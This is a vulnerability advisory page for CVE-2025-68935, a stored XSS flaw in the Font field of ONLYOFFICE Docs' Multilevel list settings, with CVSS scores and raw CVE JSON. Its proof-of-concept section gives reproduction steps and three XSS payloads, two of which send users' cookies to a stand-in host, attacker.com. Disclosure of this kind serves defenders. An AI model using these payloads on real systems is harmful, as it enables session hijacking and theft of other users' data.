Security Vulnerability Report
中文
CVE-2025-68935 CVSS 6.4 MEDIUM

CVE-2025-68935

Published: 2025-12-25 20:15:42
Last Modified: 2026-01-02 19:37:27

Description

ONLYOFFICE Docs before 9.2.1 allows XSS via the Font field for the Multilevel list settings window. This is related to DocumentServer.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:onlyoffice:document_server:*:*:*:*:*:*:*:* - VULNERABLE
ONLYOFFICE Docs < 9.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68935 PoC - XSS via Font field in Multilevel list settings // Target: ONLYOFFICE Docs < 9.2.1 // Steps to reproduce: // 1. Open a document in ONLYOFFICE Docs // 2. Navigate to Multilevel list settings (Home > Multilevel list) // 3. Click on settings/options // 4. In the Font field, inject the following payload: var xssPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; var altPayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?data=\'+btoa(document.cookie))">'; var domPayload = '<svg onload="eval(atob(\'YWxlcnQoZG9jdW1lbnQuY29va2llKQ==\'))">'; // The payload will be stored and executed when other users view the document // This PoC demonstrates the XSS vulnerability in the Font field // Attack impact: Session hijacking, data theft, malicious operations

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68935", "sourceIdentifier": "[email protected]", "published": "2025-12-25T20:15:42.143", "lastModified": "2026-01-02T19:37:26.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ONLYOFFICE Docs before 9.2.1 allows XSS via the Font field for the Multilevel list settings window. This is related to DocumentServer."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:onlyoffice:document_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.2.1", "matchCriteriaId": "C0A69ABA-D667-41CF-AAEF-069585F2AF39"}]}]}], "references": [{"url": "https://github.com/ONLYOFFICE/DocumentServer/blob/master/CHANGELOG.md#921", "source": "[email protected]", "tags": ["Release Notes"]}]}}